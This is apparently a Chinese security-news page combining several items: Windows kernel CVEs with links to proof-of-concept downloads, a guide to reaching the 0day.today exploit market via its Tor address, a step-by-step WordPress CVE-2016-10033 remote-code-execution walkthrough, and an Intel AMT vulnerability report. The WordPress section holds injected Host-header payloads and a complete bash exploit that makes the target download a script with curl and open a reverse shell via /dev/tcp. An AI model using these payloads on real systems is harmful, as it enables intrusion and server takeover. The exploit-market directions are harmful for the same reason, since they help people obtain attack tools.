Windows漏出多个内核提权漏洞,附POC 业界新闻
首先... 这是非常值得重视的安全漏洞。
这两天,Google 安全研究团队一口气报了6个Windows 内核的高危漏洞。当中四个属于读跨界漏洞,一个空指针引用漏洞和一个win32k.sys TTF 字体处理漏洞。
Windows Kernel - Out-of-Bounds Read in nt!MiRelocateImage While Parsing Malformed PE File Windows Kernel - Out-of-Bounds Read in CI!HashKComputeFirstPageHash While Parsing Malformed PE File Windows Kernel - Out-of-Bounds Read in nt!MiParseImageLoadConfig While Parsing Malformed PE File Windows Kernel - Out-of-Bounds Read in CI!CipFixImageType While Parsing Malformed PE File Windows Kernel - NULL Pointer Dereference in nt!MiOffsetToProtos While Parsing Malformed PE File Windows Kernel - win32k.sys TTF Font Processing Pool Corruption in win32k!ulClearTypeFilter
#CVE 号
在里面,至少有三个CVE号,影响范围相当的大.
CVE-2019-1341
Windows 提权漏洞
影响范围:Win7及以上全体desktop和server版本的Windows系统。
CVE-2019-1362
Windows Win32k 提权漏洞
影响范围:Win7、Win2008、Win2008R2 及其细分版本。
CVE-2019-1364
Windows Win32k 提权漏洞
影响范围:Win7、Win2008、Win2008R2 及其细分版本。
(除此之外,近日公布漏洞还有一个远程桌面客户端任意代码执行漏洞(CVE-2019-1333))
#漏洞细节
Google 安全研究团队公布了触发漏洞的细节,exploit-db上可以清楚地看到相应的bug触发条件和崩溃日志,以及触发此漏洞的POC。
#1 Windows Kernel - win32k.sys TTF Font Processing Pool Corruption in win32k!ulClearTypeFilter
触发漏洞的细节:
https://www.exploit-db.com/exploits/47484
poc:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47484.zip
#2 Windows Kernel - NULL Pointer Dereference in nt!MiOffsetToProtos While Parsing Malformed PE File
触发漏洞的细节:
https://www.exploit-db.com/exploits/47485
poc:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47485.zip
#3 Windows Kernel - Out-of-Bounds Read in CI!CipFixImageType While Parsing Malformed PE File
触发漏洞的细节:
https://www.exploit-db.com/exploits/47486
poc:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47486.zip
#4 Windows Kernel - Out-of-Bounds Read in nt!MiParseImageLoadConfig While Parsing Malformed PE File
触发漏洞细的节:
https://www.exploit-db.com/exploits/47487
poc:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47487.zip
#5 Windows Kernel - Out-of-Bounds Read in CI!HashKComputeFirstPageHash While Parsing Malformed PE File
触发漏洞的细节:
https://www.exploit-db.com/exploits/47488
poc:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47488.zip
#6 Windows Kernel - Out-of-Bounds Read in nt!MiRelocateImage While Parsing Malformed PE File
触发漏洞的细节:
https://www.exploit-db.com/exploits/47489
poc:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47489.zip
Google团队只提供了能触发漏洞的细节,并没有写相应的利用工具。
鉴于如此高危的漏洞集体蹦了出来,咱可爱的用户们... 赶紧点击Windows更新,打一下补丁...
0day.today「一个0day漏洞交易市场」 资源分享
在pastebin上看到的,想要买卖0day的可以进去看看,不想做买卖的也可以进去瞧瞧,原文如下:
be careful: if http://0day.today redirecting to pastebin page - your ip block. Download TOR Browser and use TOR mirror http://mvfjfugdwgc5uwho.onion
意思就是说如果你直接浏览器打开 http://0day.today 跳转回 pastebin.com 说明你的IP被封了,换TOR浏览器打开他们在暗网上的网站地址:http://mvfjfugdwgc5uwho.onion .
打开界面如上图所示,你可以选择你的语言,包括:英语、俄语、德语、捷克语(土耳其)、法语、意大利语、希腊语、西班牙语、罗马尼亚文、波兰语、阿拉伯语(沙拉阿拉伯)、日文、中文等语种可供选择,但是建议不选择,默认英文即可。至于为什么不建议选择,当然是为了那可怜的隐私。
要进入网站需要同意网站的声明:网站收集的EXP和各种漏洞仅作为安全研究人员用途,我们只是收集并不负责,你需要自行承担所有的责任。(锅摔干净了!)
下面的用户协议、法律信息、声明等等就不一一翻译了,我想大部分人从不看网站的这些协议吧,简单的粘贴一下Google机翻的:
用户协议 任何访问该网站0day.today的人必须接受条款和条件(如下所列),或者立即离开0day.today。 如果您不同意0day.today的规则,您必须立即离开0day.today。 0day.today团队很高兴邀请您参与我们的项目 - 您需要做的就是注册开始! 一般信息 关于0day.today及其团队的官方信息仅在0day.today网站上发布。 不要依赖别人说的负面批评/谣言 - 这是一个误区!我们不会破坏任何网站,也不会攻击任何网络服务器。 0day.today团队专门研究bug研究,而不是恶意行为。 0day.today在没有任何保证的情况下发布,仅用于教育目的。 0day.today及其团队不负责非法使用所提供的信息。 0day.today是您的新数字朋友,他将帮助您避免网站上的许多安全问题! 司法,法律,程序员和源代码 我们特别注意遵守所有必要的欧洲法律,但我们行使权利以安全的方式交换信息。 所有提交的漏洞都将转发给产品制造商,并将发布以保护您的本地环境。 如果提交包含恶意代码,非法注释和/或敏感详细信息,则将删除或修改提交。 0day.today 1337day使命宣言 0day.today 1337day Mission将提供标准和技术数据库,以保护您的信息系统免受可能的威胁。 某些威胁可能针对您的信息/流程的机密性或完整性以及您的信息和服务的可用性。 在0day.today 1337day,我们会在发现新的安全漏洞时尽快通知您,以便您采取适当的措施来修补/修复它们。 0day.today 1337day团队的正式声明 我们不批准或鼓励任何人取消任何供应商许可,破坏网站,侵入数据库和/或使用欺诈或被盗材料进行交易。 我们不公布反对某些宗教,支持恐怖主义/种族主义或任何负面性质的咨询/漏洞。 我们不允许会员在我们的数据库或电子邮件中进行任何犯罪活动或请求。此类示例将立即删除,不做任何评论。 0day.today 1337day按“原样”向您提供信息,对您造成的任何损害不承担任何责任。 Inj3ct0r包含在某些国家/地区可能被视为非法的信息。 此类信息仅供教育之用,不得用于非法活动。 // 0day.today 1337day行政
当你同意这些协议后,点击 Yes, I agree 就进入网站了。进入网站后可以注册搜索等等,网站支持BT币作为交易货币,网站同时提供收费的和免费的漏洞,漏洞EXP类型包括(local, remote, DoS, PoC, 等) ,目前漏洞库共收录32442个漏洞,包括0day,各种语言的,平台,比如Java、php(包括国内的74CMS,国外wordpress等)、Android、Windows、Linux软件还包括像Sony电视等硬件的漏洞,你也可以通过搜索来搜索你感兴趣的漏洞或者是根据分类来筛选。而且漏洞都比较新,下面列举首页的一部分漏洞:
Twitter reset account Private Method 0day Exploit, Instagram bypass Access Account Private Method Exploit、 SMF 2.1 Beta 2 Remote Code Execution 0day Exploit、 SMF 2.0.x Remote Code Execution 0day Exploit、 Snapchat takeover any account 0day Exploit、 Tebilisim Remote File Read Vulnerability、 Mod_Security <= 3.0 Bypass XSS Payload Vulnerability、 facebook - Grabbing permanent access token which Never expires of your accounts and pages .、 Google Chrome 72.0.3626.121 / 74.0.3725.0 - NewFixedDoubleArray Integer Overflow Exploit、 Atlassian Confluence Widget Connector Macro Velocity Template Injection Exploit、 ManageEngine Applications Manager 11.0 < 14.0 - SQL Injection / Remote Code Execution Exploit、 MailCarrier 2.51 - POP3 (RETR) SEH Buffer Overflow Exploit、 Lavavo CD Ripper 4.20 Local SEH Exploit、 VirtualBox 6.0.4 r128413 - COM RPC Interface Code Injection Host Privilege Escalation Exploit、 RARLAB WinRAR ACE Format Input Validation Remote Code Execution Exploit、Sony Smart TV Information Disclosure / File Read Vulnerabilities、 Ross Video DashBoard 8.5.1 - Insecure Permissions Vulnerability、 LibreOffice 6.0.7 / 6.1.3 - Macro Code Execution Exploit、 Apache Pluto 3.0.0 / 3.0.1 - Persistent Cross-Site Scripting Vulnerability、 osTicket 1.11 - Cross-Site Scripting / Local File Inclusion VulnerabilitiesUliCMS 2019.2 / 2019.1 - Multiple Cross-Site Scripting Exploit、 74CMS 5.0.1 - Cross-Site Request Forgery (Add New Admin User) Exploit、 WordPress Contact Form Builder 1.0.67 Plugin - CSRF / Local File Inclusion Exploit、 Backup Key Recovery 2.2.4 - Denial of Service Exploit、 HeidiSQL 10.1.0.5464 - Denial of Service Exploit、 Linux - (page->_refcount) Overflow via FUSE Exploit、 Linux/x86 - Rabbit Shellcode Crypter (200 bytes)、 Linux/x86 - Cat File Encode to base64 and post via curl to Webserver Shellcode (125 bytes)、 Linux/x86 - add user to passwd file Shellcode (149 bytes)、 Linux/x86 - XOR Encoder / Decoder execve(/bin/sh) Shellcode (45 bytes)
WordPress<4.7.1 远程代码执行漏洞(非插件无需认证,附Poc,演示视频) 渗透测试
漏洞概述
漏洞编号:CVE-2016-10033
漏洞发现者:dawid_golunski
漏洞危害:严重
影响版本:WordPress <4.7.1
漏洞描述:远程攻击者可以利用该漏洞执行代码
漏洞细节
这个漏洞主要是PHPMailer漏洞(CVE-2016-10033)在WordPress Core代码中的体现,该漏洞不需要任何的验证和插件,在默认的配置情况下就可以利用。远程攻击者可以利用该漏洞执行代码。由于该漏洞影响比较大,通过和官方协商,决定推迟更新wordpress漏洞细节。
漏洞代码:
if ( !isset( $from_email ) ) { // Get the site domain and get rid of www. $sitename = strtolower( $_SERVER['SERVER_NAME'] ); if ( substr( $sitename, 0, 4 ) == 'www.' ) { $sitename = substr( $sitename, 4 ); } $from_email = 'wordpress@' . $sitename; } /** * Filters the name to associate with the "from" email address. * * @since 2.3.0 * * @param string $from_name Name associated with the "from" email address. */ $from_name = apply_filters( 'wp_mail_from_name', $from_name ); $phpmailer->setFrom( $from_email, $from_name );
WordPress 根据SERVER_NAME 服务器头设置电子邮件域,当WordPress wp_mail()函数被调用来发送电子邮件时(例如,用户注册,忘记密码等)。可以看到from是这样的:
$from_email = 'wordpress@' . $sitename;
然后将其过滤并传递到PHPMailer的易受攻击的setFrom()函数中,相关细节请回顾:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code -exec-CVE-2016-10033-Vuln.html
注入
可以在Apache的默认配置上操作SERVER_NAME服务器头。Web服务器(最常见的WordPress部署)通过HTTP请求中的HOST头。
为了验证这点,请看vars.php请求与响应的演示:
GET /vars.php HTTP/1.1 Host: xenialINJECTION HTTP/1.1 200 OK Server: Apache Array ( [HTTP_HOST] => xenialINJECTION [SERVER_SOFTWARE] => Apache/2.4.18 (Ubuntu) [SERVER_NAME] => xenialinjection ...
我们可以看到,在HOST头文件中附加到主机名的INJECTION字符串 复制到HTTP_HOST和SERVER_NAME PHP变量。
使用这个HOST头的例子,如果攻击者触发了wp_mail()函数
通过使用WordPress的忘记密码功能,HTTP请求将类似于:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenialINJECT Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 56 Cookie: wordpress_test_cookie=WP+Cookie+check Connection: close user_login=admin&redirect_to=&wp-submit=Get+New+Password
并将导致以下参数传递到/ usr / sbin / sendmail:
Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenialinject]
这里需要注意的是第三个参数。电子邮件的域名部分匹配请求的HOST头,小写“inject”除外。
绕过过滤
为了利用PHPMailer的mail()注入漏洞,攻击者会将参数附加到域部分。但是,过滤/验证这个地方(在wordpress方面以及PHPMailer库方面)都会
防止攻击者注入空字符(空格或TAB),因此从注入参数到sendmail binary 。
例如,如果攻击者将HOST头修改为以下内容:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenialINJECT SPACE
验证将导致无效的域部分错误,并且WordPress应用程序将退出http响应:
HTTP/1.0 500 Internal Server Error
在这种情况下,PHPMailer函数永远不会被执行(sendmail binary 不会被执行)
PHPMailer库的validateAddress()函数以及PHP的filter_var / FILTER_VALIDATE_EMAIL都符合RFC 822标准
详细请查看:
http://php.net/manual/en/filter.filters.validate.php
它禁止域部分中的空格,从而防止注入的附加参数到/ usr / sbin / sendmail。
应该注意的是注入额外的 \ 反斜杠到电子邮件的用户名部分
http://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
对于攻击者来说,在这种情况下电子邮件的用户名部分很难利用。
RFC 822和注释语法
根据查看RFC 822规范,找到绕过验证的一种潜在的方法:
https://www.ietf.org/rfc/rfc822.txt
电子邮件地址可以包含注释
该文件给出了一个电子邮件示例,其中括号中有注释:
":sysmail"@ Some-Group. Some-Org, Muhammed.(I am the greatest) Ali @(the)Vegas.WBA
作为有效的电子邮件,域内部分的简化注释示例:
[email protected](comment)
经过进一步测试,结果发现注释部分可以包含空格在域名部分,可以作为一种绕过的方式。将验证域部分注入附加参数到sendmail binary。
通过注释语法注入参数
以下请求与HOST头设置为:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 injected tmp2)
不会触发错误,测试以下参数发送邮件 :
Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [injected] Arg no. 5 == [tmp2)]
我们已经设法绕过Wordpress过滤器的验证以及PHPMailer的内部setFrom()验证。
apply_filters( 'wp_mail_from_name', $from_name );
我们现在可以控制第四个参数('inject')并且可以注入。如果需要,参数3和参数5之间有更多的参数。在理论上,我们现在应该可以注入额外的参数到/ usr / sbin / sendmail包装器 从而实现任意代码执行。
通过Sendmail MTA执行代码
迄今为止,唯一已知的方法是通过远程执行代码执行PHPmailer(),PHPmailer()依赖于目标系统上的Sendmail MTA
最常见的Sendmail MTA向量类似于:
-OQueueDirectory=/tmp/ -X/var/www/html/backdoor.php
它通常通过输入信息写入一个包含php后门的日志文件
然而,这种技术有两个问题:
1)
Sendmail MTA不再常用,我们可以通过查看来验证
http://www.securityspace.com/s_survey/data/man.201703/mxsurvey.html
这表明Sendmail在Linux MTA中最不受欢迎。它不附带任何现代的Linux发行版。
2)
上述的Sendmail技术在这种情况下不起作用。如前所述,主机名复制到SERVER_NAME服务器变量被转换成小写,因此被注入Sendmail参数在请求中类似于:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 -O -X tmp2)
将出现以下一组sendmail参数:
Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [-o] Arg no. 5 == [-x] Arg no. 6 == [tmp2)]
Sendmail会失败并出现错误,因为这里参数是区分大小写的,而-q和-x都不会工作。
通过Exim4 MTA执行代码
关于php mail()函数相关有趣的点(远程代码执行)可以关注这篇文章
https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
PHPMailer和其他电子邮件库中的漏洞同样也可以利用Exim4 MTA执行代码,基本格式如下
sendmail -be'$ {run {/ bin / true} {true} {false}}'
-be开关启用字符串扩展测试模式。上述扩展执行/ bin / true并返回值
同样,以下将执行id命令:
sendmail -be'$ {run {/ bin / bash -c“id”} {yes} {no}}'
注意:在使用Exim4的系统上,/ usr / sbin / sendmail只是一个符号链接:/ usr / sbin / sendmail - > exim4与Sendmail MTA无关。
这个点可以可靠的方式实现执行命令
$ run expand指定为参数,不需要将文件写入/ var / www / html或猜测目录路径
HOST头限制
看似简单的Exim4 向量在实践中变得棘手,因为上述扩展字符串不能在HOST头文件中运行。
请求格式如下:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 slash/ -X tmp2)
由于在HOST头中出现斜线/字符,Apache网络服务器将会拒绝该请求。$run函数不会正常执行,因为它需要一个完整的二进制文件的路径执行(这表明exim4使用exec()来执行命令,而不是通过system()执行命令)。
绕过限制
绕过HOST头的限制几种方法
尝试通过研究可用的Exim字符串:
http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html
嵌入式perl
其中一个扩展是:
$ {perl {foo} {argument1} {argument2} ...}
不过Perl在默认情况下没有启用perl,因此漏洞无法使用。
编码
对base64和HEX编码/解码功能进行了测试。但是似乎没有被exim4支持,测试的时候报错,如:
sendmail -be'$ {base64d:QUI =}'
失败:未知扩展运算符“base64d”
子字符串和环境变量
---------------------
另一个想法是结合使用已知的环境变量,用子字符串提取禁止的斜杠字符。例如,PATH环境变量包含斜杠:
PATH = / bin:/ usr / bin
因此是一个很好的候选变量。
$ {env {PATH}}可用于获取变量和连接$substring(子字符串)扩展,从而可以获得斜杠。在以下命令中可以看到:
sendmail -be'$ {substr {0} {1} {$ {env {PATH}}}}' /
不幸的是,这种技术导致了一个死胡同,环境变量PATH插入到HOST头文件中时转换为小写,在Linux下不工作。
子字符串和内部exim4变量
--------------------------------------
通过不断的测试发现以下变量可以使用:
sendmail -be '${spool_directory}' /var/spool/exim4
spool_directory变量默认存在,并且没有大写字母,因此可以可靠地执行。
斜杠可以替换为:
$ {SUBSTR {0} {1} {$ spool_directory}}
从而绕过HOST头的斜杠限制。
以下命令:
sendmail -be'$ {run {/ usr / bin / touch / tmp / test}}'
现在可以转换为:
sendmail -be'$ {run {$ {substr {0} {1} {$ spool_directory}} usr $ {substr {0} {1} {$ spool_directory}} bin $ {substr {0} {1} {$ spool_directory }} touch $ {substr {0} {1} {$ spool_directory}} tmp $ {substr {0} {1} {$ spool_directory}} test}}'
这在terminal 下正常工作,但是在HTTP请求中进行测试时:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch ${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}} tmp2)
转化后是以下sendmail参数:
Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [-be] Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch] Arg no. 6 == [${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}] Arg no. 7 == [tmp2)]
我们可以看到,有效载荷被分解成5和6的两个参数而不是一个,这样可以防止Exim正确地执行有效载荷。这个问题是由命令参数之间的空格引起的(空格'touch')
替换空格
------------------
首先,我们考虑环境变量IFS,环境变量不能像以前测试的那样正常工作。
经过深入研究,发现了一个方便的内部exim变量:
sendmail -be'$ {tod_log}' 2016-01-02 23:49:42
tod_log变量返回一个含有空格的当前日期格式。
类似于斜杠替换,$ substring + $ tod_log变量可以
用于替换测试的空格:
sendmail -be'$ {substr {10} {1} {$ tod_log}}'
PoC HTTP请求
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}} tmp2) Content-Type: application/x-www-form-urlencoded Content-Length: 56 user_login=admin&redirect_to=&wp-submit=Get+New+Password
发送到WordPress核心应用程序时的上述请求会导致exim被调用,其中转化后的参数格式如下:
Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [-be] Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}] Arg no. 6 == [tmp2)]
这里将在目标系统WordPress 4.6上创建一个测试test文件:
/usr/bin/touch /tmp/test
以上是全部的构造PoC的过程,可以通过这个逻辑进而反弹shell。
PoC
rev_host="192.168.57.1" function prep_host_header() { cmd="$1" rce_cmd="\${run{$cmd}}"; # replace / with ${substr{0}{1}{$spool_directory}} #sed 's^/^${substr{0}{1}{$spool_directory}}^g' rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`" # replace ' ' (space) with #sed 's^ ^${substr{10}{1}{$tod_log}}$^g' rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`" #return "target(any -froot@localhost -be $rce_cmd null)" host_header="target(any -froot@localhost -be $rce_cmd null)" return 0 } #cat exploitbox.ans intro=" DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6 b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1 QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54 eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4 bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K" intro2=" ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09 fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09 fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1 cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg==" echo "$intro" | base64 -d echo "$intro2" | base64 -d if [ "$#" -ne 1 ]; then echo -e "Usage:\n$0 target-wordpress-url\n" exit 1 fi target="$1" echo -ne "\e[91m[*]\033[0m" read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice echo if [ "$choice" == "y" ]; then echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n" echo -e "\e[92m[+]\033[0m Connected to the target" # Serve payload/bash script on :80 RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &" echo "$RCE_exec_cmd" > rce.txt python -mSimpleHTTPServer 80 2>/dev/null >&2 & hpid=$! # Save payload on the target in /tmp/rce cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt" prep_host_header "$cmd" curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword echo -e "\n\e[92m[+]\e[0m Payload sent successfully" # Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce cmd="/bin/bash /tmp/rce" prep_host_header "$cmd" curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword & echo -e "\n\e[92m[+]\033[0m Payload executed!" echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n" nc -vv -l 1337 echo else echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n" exit 0 fi echo "Exiting..." exit 0
PoC演示视频: http://v.youku.com/v_show/id_XMjc0MDU2NjQyMA==.html
修复建议:
更新到最新版本或者4.7.1以上版本
下载地址https://wordpress.org/latest.zip
参考:
https://w3techs.com/technologies/details/cm-wordpress/all/all
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html
https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
你还认为什么是没有后门的呢?英特尔芯片管用十年! 业界新闻
英特尔周一发布消息称,安全研究人员Maksim Malyutin发现一款关键安全漏洞“CVE-2017-5689”,并于三月报告了该漏洞。其影响了使用英特尔AMT、ISM或SBT的企业PC和设备。要获取英特尔补丁关闭该漏洞,机器制造商必须进行固件升级。
而这个关键安全漏洞存在数百万的英特尔工作站和服务器芯片中长达9年之久,该漏洞潜在被利用可执行远程控制操作,并通过间谍软件感染系统。
Chipzilla公司指出,具体而言,Intel的主动管理技术(AMT)、标准可管理(ISM)和小型企业技术(SBT)固件版本6到11.6均存在该漏洞。这个漏洞允许无特权的攻击者控制这些产品提供的可管理性功能。
这就意味着,黑客可以使用AMT的功能,登录进入易受攻击的计算机硬件,秘密篡改机器,并安装几乎不会被检测到的恶意软件等。这种影响可以是跨网络的,因为AMT可以直接访问计算机的网络硬件。
近十年来,这些不安全的管理功能存在于多种不同的英特尔芯片组中,从2008年的Nehalem Core i7到今年的Kaby Lake Core部件。至关重要的是,这个漏洞存在于机器芯片的核心,操作系统、应用程序和任何反病毒软件都无从察觉。
而且,这个漏洞只能通过固件升级彻底解决,并且存在于数百万个芯片中,意味着进入全球计算机的后门。
漏洞的影响范围
这个易受攻击的AMT服务是英特尔vPro处理器功能套件的一部分。如果系统上存在vPro,并启用了该服务,并且配置了AMT,那么网络上未经验证的黑客便可以访问并劫持计算机的AMT控制。如果未配置AMT,则无需担心。
英特尔认为,该漏洞影响了企业和服务器固件,因为它们均存在并启用了vPro和AMT,并非针对普通用户使用的系统。
如果用户使用的机器启用了vPro和AMT功能,用户将面临风险。值得注意的是虽然现代的苹果Macs使用的是英特尔芯片,但并未使用AMT软件,因此Macs是安全的,用户可以放心使用。
但消费者电脑未受到影响,因为目前为止英特尔尚未发现对此漏洞的利用案例。
英特尔表示:
无特权的网络攻击者可以获取英特尔可管理性SKU的系统特权:AMT和ISM。
无特权的本地攻击者可以提供可管理性功能获取英特尔可管理SKU上的无特权网络或本地系统特权:AMT、ISM和SBT.
很显然,英特尔SBT不易受到通过网络执行的特权升级攻击。受影响的固件版本和处理器如下,使用AMT、ISM或SBT的客户应留心。
第一代Core系列:6.2.61.3535
第二代Core系列:7.1.91.3272
第三代Core系列:8.1.71.3608
